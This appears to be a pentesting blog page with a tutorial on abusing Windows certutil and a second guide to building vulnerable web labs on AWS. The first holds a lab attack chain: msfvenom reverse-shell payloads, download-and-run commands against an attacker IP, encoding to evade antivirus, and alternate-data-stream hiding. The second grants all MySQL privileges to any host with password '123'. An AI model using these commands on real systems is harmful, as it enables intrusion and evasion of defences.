Windows for Pentester: Certutil

In this article, we are going to describe the utility of Certutil tool and how vital it is in Windows Penetration Testing.

TL; DR

Certutil is a preinstalled tool on Windows OS that can be used to download malicious files and evade Antivirus. It is one of the Living Off Land (LOL) Binaries.

Disclaimer

The main objective of publishing the series of “Windows for Pentester” is to introduce the circumstances and any kind of hurdles that can be faced by any Pentester while solving CTF challenges or OSCP labs which are based on Windows Operating System. Here, we do not criticize any kind of misconfiguration that a network or system administrator does for providing higher permissions on any kind of programs/binaries/files & etc.”

Table of Content

·        Introduction

o   What is certutil?

o   What is Living off Land?

o   Working with certutil?

o   What is Alternative Data Stream (ADS)?

·        Configurations used in Practical

·        Working with certutil

o   Encoding

o   Decoding

o   Hashing

o   Downloading

o   Reading Error Code

·        Penetration Testing using certutil

o   Compromising using Malicious Executable

o   Compromising with Encoded Malicious DLL

o   Compromising with Malicious Executable inside ADS

·        Mitigation

·        Conclusion

Introduction

What is Certutil?

Certutil is a CLI program that can be used to dump and display certificate authority (CA), configuration information, configures Certificate Services, backup and restore CA components, and verify certificates, key pairs, and certificate chains. It is installed as a part of Certificate Services.

What is Living off Land?

In simple words, it is an attack that works on the idea of using system tools as backdoors. File-less attack is another example of LOL attack. Attackers who use this tactic works with trusted, in most cases, preinstalled system tools to carry out their attack. Attackers use these tactics to hide their malicious activity in plain sight among the other general activity inside the network or system. As these kinds of attacks operate without triggering any alerts, it is almost impossible for investigators to determine who is behind the said malicious activity even if they discover it.

What is Alternative Data Stream (ADS)?

The NTFS file system consists of the ADS feature. This is an inconspicuous feature that was included, to provide compatibility with files in the Macintosh file system. ADS enable files to incorporate more than one stream of data. In any instance, each file consists of at least one data stream. This default data stream in Windows is recognized as :$DATA.

Windows Explorer can't see what ADSs are in a file (or a way to erase them without actually discarding the original file) but they can be created and accessed with ease. Because they are challenging to detect, thus often used by hackers to hide files on machines that they've compromised. Executables in ADSs can be executed from the command line but without showing up in Windows Explorer.

Some of the CTF Challenges over HackTheBox where certutil can be used are:

Access, Arctic, BigHead, Conceal, Ethereal, Fighter, Giddy, Hackback, Jerry, Rabbit.

Configurations used in Practical

Attacker:

·        OS: Kali Linux 2019.4

·        IP: 192.168.1.10

Target:

·        OS: Windows 10 (Build 18363)

·        IP: 192.168.1.11

Working with certutil

Practical #1: Encoding

Certutil contains an encode parameter. It could help to encode file content into Base64. This is a Windows equivalent to the base64 command in Linux.

When working with an executable file, we came across a scenario. In it, the uploading of the executable file was not smooth. We can use certutil to encode the executable file. Then transfer the encoded data, then decode it on the recipient machine.

In the following practical, we first created a text file named "file.txt" and wrote the "This is a plain text" line in it. We did this with Add-Content cmdlet in PowerShell. We can see that it worked when we checked the file using type command. To convert, we will use certutil with encode parameter. We will provide the text file and the file that it should write the encoded data.

Certutil adds two segments "BEGIN CERTIFICATE" and "END CERTIFICATE". The converted contents of the file are between these two segments. We can check the encoded text using the type command.

Add-Content file.txt "This is a plain text"

type .\file.txt

certutil -encode file.txt encoded.txt

type .\encoded.txt

We can use the parameter -encodehex to convert data into Hex encoded files.

Practical #2: Decoding

Certutil can decode the data encoded in Base64. Let's show you a quick method from which you can decode the data. We will be using the file that we encoded in the previous practical. We will use certutil with -decode parameter. Then provide the encoded file and the file it should write the decoded data. We can check the decoded text using the type command.

type .\encoded.txt

certutil -decode encoded.txt decoded.txt

type .\decoded.txt

We can use the parameter -decodehex to decode the Hex encoded files.

Practical #3: Hashing

Hashing means taking data and giving out an output string of a fixed length. Using the cryptography hashing algorithms — e.g., MD5, SHA-1, SHA-256, you can verify if two files are identical or not. The checksum is a hash value used for performing data integrity checks. It’s a kind of signature for a file. By comparing checksum, we can identify duplicate files.

Time to generate some hashes. We will use the file.txt we created earlier. First, we will generate the MD5 hash using certutil parameter -hashfile. With the parameter, file path and algorithm we can hash the file.

certutil -hashfile ".\file.txt" md5

certutil -hashfile ".\file.txt" sha1

certutil -hashfile ".\file.txt" sha256

NOTE: While working with Systems like Windows 7, keep in mind that the hash algorithms are case-sensitive. Be sure to type, for example, “MD5”, not “md5”.

Practical #4: Downloading

In scenarios, where wget, BITSAdmin or any other convention method is blocked. Certutil can be used to download files from the internet. We will be downloading 7zip.exe from the 7zip server as shown in the image.

-URLCache	Display or delete URL cache entries
-split	Split embedded ASN.1 element & Save to files
-f	Force Overwrite

certutil.exe -urlcache -split -f http://7-zip.org/a/7z1604-x64.exe 7zip.exe

dir 

Practical #5: Reading Error Code

Suppose you got a system error code without any message. You don't have any source to look up the meaning of the error. This is a common scenario. Certutil can help to look up the message text for system error codes.

certutil -error 8200

certutil -error 0x2009

NOTE: Certutil can perform many more functions related to CA Certificates but we will be focusing on Penetration Testing for now.

Penetration Testing using certutil

Practical #6: Compromising using Malicious Executable

During our initial assessment, we saw that the certutil was actively downloading files from the internet without any kind of verification or assessment. This is an instance that is part of the MITRE | ATT&CK Remote File Copy Tactic.

Certutil can be used to copy a file from one system to another to stage some attacking tools or other files throughout an attack. Files can also be transferred from an outer attacker-controlled system through a Command and Control Channel to bring tools or scripts into the target network to support Lateral Movement.

In the previous practical, we downloaded a file from a remote server. Let's see how we can compromise a Windows System using a Malicious Executable.

We started our attack with Exploit Development. We used the msfvenom tool to generate a Payload for a Reverse TCP Connection to our attacker machine. We provided the msfvenom with the appropriate LHOST and LPORT. The format of the payload was set to an Executable(.exe) File. We named it "shell.exe". After successful execution, the file was created in our "/root" directory. Now to transfer the newly generated we decided to use the HTTP Server generated by a Python One-liner.

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.10 lport=1234 -f exe > shell.exe

python -m SimpleHTTPServer 80

Now that the payload is hosted on the server, before executing the payload on the Target Machine, we need to start a Listener on Attacker Machine to capture the meterpreter session that would be generated after the execution of the payload.

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.1.10

set lport 1234

exploit

After successfully starting a listener on the Attacker, its time to move to Target Machine. Here, we have a PowerShell Terminal. We need to download the payload to this machine. We will use certutil to fetch it. Certutil will make two connections to the remote web server using two different User-Agents. They will be named "Microsoft-CryptoAPI" and "Certutil URL Agent".

NOTE: During our assessment, we found that upon execution the above command an Access Denied Error is notified. Using -verifyCTL instead of -URLCache will let you bypass this error.

After the successful transfer of the Payload to Target Machine. We executed the payload as shown in the image.

certutil.exe -urlcache -split -f http://192.168.1.10/shell.exe shell.exe

.\shell.exe

We went back to our Attacker Machine to see that a meterpreter instance is generated and captured by our listener. We run sysinfo to see the details of the Target System.

sysinfo

We have successfully Compromised the Target Machine using a combination of Certutil and a Malicious Executable.

Practical #7: Compromising with Encoded Malicious DLL

As seen earlier Certutil encodes file content into Base64. This opens up a lot of possibilities. This is an instance that is part of MITRE | ATT&CK Deobfuscate/Decode Files or Information Tactic.

Attackers can use Obfuscated (Difficult to detect/find) Files to conceal evidence of an attack from the analysis. Afterward, they may Deobfuscate (Unhide) those files. This is where certutil comes into the picture. It can decode the data and help bypass Antivirus, IDS/IPS Software. Certutil can also be used to decode a portable executable file that has been hidden inside a certificate file.

Payloads may be compressed, archived, or encrypted to avoid detection. These payloads may be used with Obfuscated Files or Information during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open it for deobfuscation or decryption as part of User Execution. The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the attacker. Now onto our Practical.

We started our attack with Exploit Development. We used the msfvenom tool to generate a Payload for a Reverse TCP Connection to our attacker machine. We provided the msfvenom with the appropriate LHOST and LPORT. The format of the payload was set to a Dynamic-Link Library(.dll) File. We named it "dll.txt". We can name it any other name which is less suspicious. We use the text file so that it doesn't rise any unnecessary flags. After successful execution, the file was created in our "/root" directory. Now to transfer the newly generated we decided to use the HTTP Server generated by a Python One-liner.

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.10 lport=1234 -f dll > dll.txt

python -m SimpleHTTPServer 80

Now that the payload is hosted on the server, before executing the payload on the Target Machine, we need to start a Listener on Attacker Machine to capture the meterpreter session that would be generated after the execution of the payload.

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.1.10

set lport 1234

exploit

After successfully starting a listener on the Attacker, it times to move to Target Machine. Here, we have a PowerShell Terminal. We need to download the payload to this machine and we need to do this discreetly. We run certutil with a combination of URLCache and encode separated by the pipe (|). Now the file will be downloaded as a text file and gets encoded as another text file which we named "edll.txt" for encoded DLL.

certutil -urlcache -split -f http://192.168.1.10/dll.txt dll.txt | certutil -encode dll.txt edll.txt

Now to execute the payload to compromise the target, we need to decode it. We use the decode parameter in certutil to decode the payload and saved it as "exploit.dll". Now to execute this DLL we decide to use regsvr32. It executes DLL directly into memory.

certutil -decode .\edll.txt exploit.dll

regsvr32 /s /u .\exploit.dll

We went back to our Attacker Machine to see that a meterpreter instance is generated and captured by our listener. We run sysinfo to see the details of the Target System. We have successfully Compromised the Target Machine using a combination of Certutil and an Encoded Malicious Executable.

sysinfo

As we talked about evading Antivirus Software. Let's inspect the files that we generated and used in the attempt to compromise the target. We use VirusTotal for this analysis. We first inspect the "dll.txt". Upon successful upload and analysis of the dll.txt, we see that it was detected by 54 out of 67 Antivirus Engines. That can't be good.

So, the inspection of the dll.txt file was not acceptable. Now let's test the file we encoded using certutil. We uploaded the edll.txt. Upon analysis of the edll.txt, we see that it was detected by 4 out of 56 Antivirus Engines. It is not perfect but it is a huge difference. 

Another flavour of this attack can be as depicted below:

We create a payload in the form of an executable(payload.exe). Then we use certutil to encode it to a specific binary. For example, "payload.enc". Then post the output of the encoding process on Github, Pastebin or other alternative services. The purpose of this procedure is to separate the encoded payload from the stager to avoid detection. Now use the certutil on the target machine to download the content from the remote server (Github/Pastebin). Finally, decode the malicious payload into an executable extension using Certutil and execute it to compromise the Target.

Practical #8: Compromising with Malicious Executable inside ADS

We started our attack with Exploit Development. We used the msfvenom tool to generate a Payload for a Reverse TCP Connection to our attacker machine. We provided the msfvenom with the appropriate LHOST and LPORT. The format of the payload was set to an Executable(.exe) File. We named it "virus.exe". After successful execution, the file was created in our "/root" directory. Now to transfer the newly generated we decided to use the HTTP Server generated by a Python One-liner. 

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.10 lport=443 -f exe > "virus.exe"

python -m SimpleHTTPServer 80

Now that the payload is hosted on the server, before executing the payload on the Target Machine, we need to start a Listener on Attacker Machine to capture the meterpreter session that would be generated after the execution of the payload.

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.1.10

set lport 1234

exploit

This time we will use a different approach altogether. We are going to use the Alternative Data Stream. Alternative Data Stream (ADS) was created by Microsoft to supporting compatibility with Apple McIntosh’s file system. In the Mac, files have a huge amount of metadata in addition to regular data. To save the exe file into ADS, we need to specify the name of the file in whose ADS we want to save another file, then (:) followed by name and extension of another file. As shown, we saved the virus.exe inside the ADS of harmless.txt file.

certutil.exe -urlcache -split -f http://192.168.1.10/virus.exe harmless.txt:virus.exe

Here, it can be observed that there is no file named virus.exe in the directory and the size of harmless.txt is 0 as well as it contains nothing as it was an originally an empty text file.

dir

type .\harmless.txt

Now to execute the file that we put in the ADS; we will be using wmic. We will use the create flag followed by the path of the payload as shown in the image. It says that the Execution was successful.

wmic process call create "c:\harmless.txt:virus.exe"

We went back to our Attacker Machine to see that a meterpreter instance is generated and captured by our listener. We run sysinfo to see the details of the Target System.

sysinfo

We have successfully Compromised the Target Machine using a combination of Certutil and a Malicious Executable concealed in Alternative Data Stream.

Mitigation

As tools like certutil can be used by an attacker with physical access to the machine or by malicious code unknowingly downloaded by a user after a phishing or other social engineering attack.

Certutil usage should be monitored, particularly if detected it being used with -decode or -decodeHex options where that would not normally be expected in your network. It is paramount not to depend on tools that simply whitelist built-in or signed code as obviously these will be bypassed by such Living Off the Land (LOL) techniques.

Conclusion

This kind of attack is very much happening in real life. There have been multiple incidents targeted to different office environments as well as banks. It was a fun learning experience working with certutil. We are going to write more articles about other LOLS that we could find. Stay Tuned.

Certutil Operations

Living Off Land binaries

Author: Pavandeep Singh is a Technical Writer, Researcher and Penetration Tester Contact here

Web Application Pentest Lab Setup on AWS

Isn't it going to be nice if you can reach your pen-testing lab from all over the world? As we all know, this is a digital age that makes life easier than our expectations, thus anyone can access their information/data from the cloud. Similarly, a Pentester can design its pen-testing environment for vulnerable machine on cloud that can be accessible from anywhere. AWS is probably the most popular cloud service available in todays date, with most companies taking a cloud or hybrid approach towards their infrastructure.

This article is about setting up a vulnerable lab for web penetration in Amazon Web Services (AWS) to perform pen-testing on.

Table of Content

Prerequisite

Setup & Configuration of AWS Instance

Deployment & Connectivity

Install Dependencies

·        Apache

·        MySql - server

·        PHP

·        Configuring MySql

·        Phpmyadmin

Lab Setup

·        DVWA

·        Sql Injection - Dhakkan

·        OWASP Mutillidae II

Prerequisite

To setup your own pen-testing environment, you must have AWS account or if not then create an AWS account and login your account.

Setup & Configuration of AWS Instance

Let’s walk through the process of setting up the lab, we will be making an EC2 instance with Ubuntu Server 18.04 LTS on it. An EC2 instance is refer as virtual server in Amazon’s Elastic Compute Cloud (EC2) for running applications on the AWS infrastructure. The good thing is that this will not cost you anything to build as AWS has options to setup instances within a certain computing level that are not charged for.

1.      Open the EC2 console in AWS.

2.      Navigate to “Launch Instance” and click on “Launch Instance”.

3.      Choose the Amazon machine image (AMI), this is basically similar to finding the iso file of the OS that you want on your instance. AWS has you covered with most of the popular OS’s available in its inventory.

4.      Here we looked for ubuntu.

5.      Now that we see the OS that we want running on our instance, we need to choose the “64-bit (x86)”.

6.      We now need choose our instance type, to basically define the amount of hardware this instance will have, we choose the “t2.micro”. This gives us I virtual CPU and 1 GB of RAM.

For most general-purpose workloads, T2 Unlimited instances will provide ample performance without any additional charges.

Features:

·        High frequency Intel Xeon processors

·        Burstable CPU, governed by CPU Credits, and consistent baseline performance

·        Lowest-cost general purpose instance type, and Free Tier eligible*

·        Balance of compute, memory, and network resources

Read more from here

7.      Once we click on “Review and Launch”, the rest of the options are left as they are, and we click on “launch”.

8.      Now let’s launch the instance which will create a key pair to your instance and complete the launch process.

This is a very important step, this is what makes it possible for you to connect to your instance over SSH, the key pair.

9.      Choose “Create a new key pair”, give it a name, them download and save the .pem file somewhere where you can keep it safely.

AWS gives you the launch status, tells you the about the launch process and shows you that your instance is now launching.

10.   Now click on “View Instances” to see what’s happing with our Ubuntu server. Note that it takes a few minutes for the server to be fully deployed, so be patient. Now we see under “Status check” that we have our 2/2 checks, this essentially means that our instance is fully deployed and ready for us to connect to.

Deployment & Connectivity

This is the good part, where we get to deploy and connect to our instance in AWS.

1.      We choose our instance and click on “Connect”, this takes us to a page with options that defines how we want to connect to out instance, and we choose to connect using a standalone SSH client.

2.      Enter the name for your Instance ID, so that you can easily identify the instance ID from its name.

AWS is very helpful in giving us the particulars for our connection, like the commands to use.

There are many applications you can choose from to connect to the instance, we are connecting to it from Kali Linux.

3.      We first make sure that the .pem file that we saved has the right permissions assigned to it, in this case it needs to be only ‘read’. Once that is done, we put in the SSH particulars provided by AWS.

Syntax: ssh -I “key.pem” AMIuser@instance-Public-DNS

4.      The .pem file is defined so that the SSH operation knows where the keys are located and that’s it, we are in!!. We connect and get to root.

Install Dependencies required for Pentest-lab

Ubuntu is up and running now, lets start it for our pentest purposes, in order to do that we need to have the basic dependencies installed so that we can access web application like DVWA, etc.

Apache

First, we will install the Apache. Apache is the most commonly used Web server on Linux Systems. Web servers are used to serve web pages requested by the client computers.

1.      So, let’s first install Apache in the ubuntu by the following command.

apt install apache2

We have successfully installed apache2, by default apache runs on port 80

  

For Apache to function properly we need to open port 80, so let’s get to it. We need to edit the security group in order for the Apache service to work. Ports are closed by default in AWS, so we can define what we want open.

2.      Go to your instance and launch the security groups wizard-1.

3.      Edit the inbound rules and add HTTP, using TCP protocol over port 80.

4.      The rule has been added, now click on save.

5.      Now to validate that Apache is running on our Ubuntu server, we access the IP of the instance in a browser.

MySql - Server

The next step is to install MySql-server. This is fairly simple, just type in the command and let Ubuntu do the rest.

apt install mysql-server

PHP

Installing php 7.2, simply type the following command.

apt install php7.2

Configuring MySql

Let’s configure MySql so we have the right kind of credentials for our setup. After it gets logged in you will grant all the privileges to the user of Ubuntu as in our case we have given all the privileges to user raj which will be identified with the password of ubuntu which is 123 in our case and after which we will reset all the previous privileges so that it can start the service with the new changes. For this, the commands are the following.

mysql -u root -p

GRANT ALL PRIVILEGES ON *.* TO 'raj'@'%' IDENTIFIED BY '123' WITH GRANT OPTION;

flush privileges;

Phpmyadmin

We need to install phpMyAdmin as well, here is how you do it.

apt install phpmyadmin

Phpmyadmin needs to be configured, it needs to know that we want to use apache2 as our web server.

Next, we need to give it the password that we kept while setting up mysql.

Lab Setup

We are done with installing all the dependencies for out setup and are now ready to install our pentest labs.

DVWA

let’s navigate to the “html” folder to download and install DVWA. Once that is done, we need to move the config.inc.php.dist file for further configurations.

cd /var/www/html

git clone https://github.com/ethicalhack3r/DVWA

cd /dvwa/config

mv config.inc.php.dist config.inc.php

Open the config.inc.php file in a text editor and put in the database credentials that we had set up earlier. We only need to modify 2 fields: db_user and db_password.

Now we open DVWA in our web browser and click on “Create/Reset Database”.

Time, to login to our DVWA!

Sql Injection - Dhakkan

Our vulnerable web app is up and running, now we want to install a lab for SQL injections, we will be using the Dhakkan sqli lab.

Here’s how to set it up. We download it into the html folder to host it, next we move the “sqlilabs” folder to the “sqli”. Next, we need to edit the datagbase credentials so that the lab can function properly. Open the db-creds.inc file in a text editor.

git clone http://github.com/Rinkish/Sqli_Edited_Version

cd Sqli_Edited_Version/

ls

mv sqlilabs/ ../sqli

cd sqli

cd sql-connections/

Now that the file is open, we put in the username and password.

Now browse this web application from through this Public-DNS/sqli and click on Setup/reset Databases for labs. Now the sqli lab is ready to use.

Success! Sqli is up and running.

OWASP Mutillidae II

Last but not least, we will install OWASP Mutillidae II and that will conclude our setup for now.

So, lets start by navigating to the “html” folder and downloading Mutillidae. Once downloaded, we navigate to the “includes” folder.

git clone https://github.com/webpwnized/mutillidae

cd mutillidae

cd includes

ls

nano database-config.inc

Once in, modify the database access file to prove the credentials we had set up earlier.

Now we will open this our local browser by the following URL: Public-DNS/mutillidae where we will find an option of reset database. Just click on it to reset the database. Let’s launch Mutillidae using our browser.

Voila!! Your Ubuntu instance is ready for you to start your AWS pentest journey. You have your connectivity, dependencies and labs all configured and ready to go.

We at Hacking Articles always try to bring you the most industry relevant content. Since cloud is now the thing most companies are moving towards and raising curiosity about ways to keep the cloud secure, this is article is just to get you ready for our new articles on cloud penetration testing, so stay tuned.

Have fun and stay ethical.